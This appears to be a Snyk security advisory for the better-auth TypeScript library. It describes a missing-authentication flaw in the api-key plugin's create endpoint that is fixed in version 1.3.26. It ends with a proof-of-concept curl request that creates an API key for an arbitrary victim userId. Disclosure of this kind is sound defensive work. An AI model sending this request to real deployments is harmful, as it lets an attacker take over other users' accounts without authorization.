Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Missing Authentication for Critical Function vulnerabilities in an interactive lesson.
Start learningUpgrade better-auth
to version 1.3.26 or higher.
better-auth is a The most comprehensive authentication library for TypeScript.
Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the api-key
plugin's create
endpoints. An attacker can gain unauthorized access to any user's account by crafting a request with a chosen userId
in the request body, allowing the creation or modification of API keys for arbitrary users.
curl -X POST http://localhost:3000/api/auth/api-key/create \
-H 'Content-Type: application/json' \
-d '{
"userId": "victim-user-id",
"name": "zeropath"
}'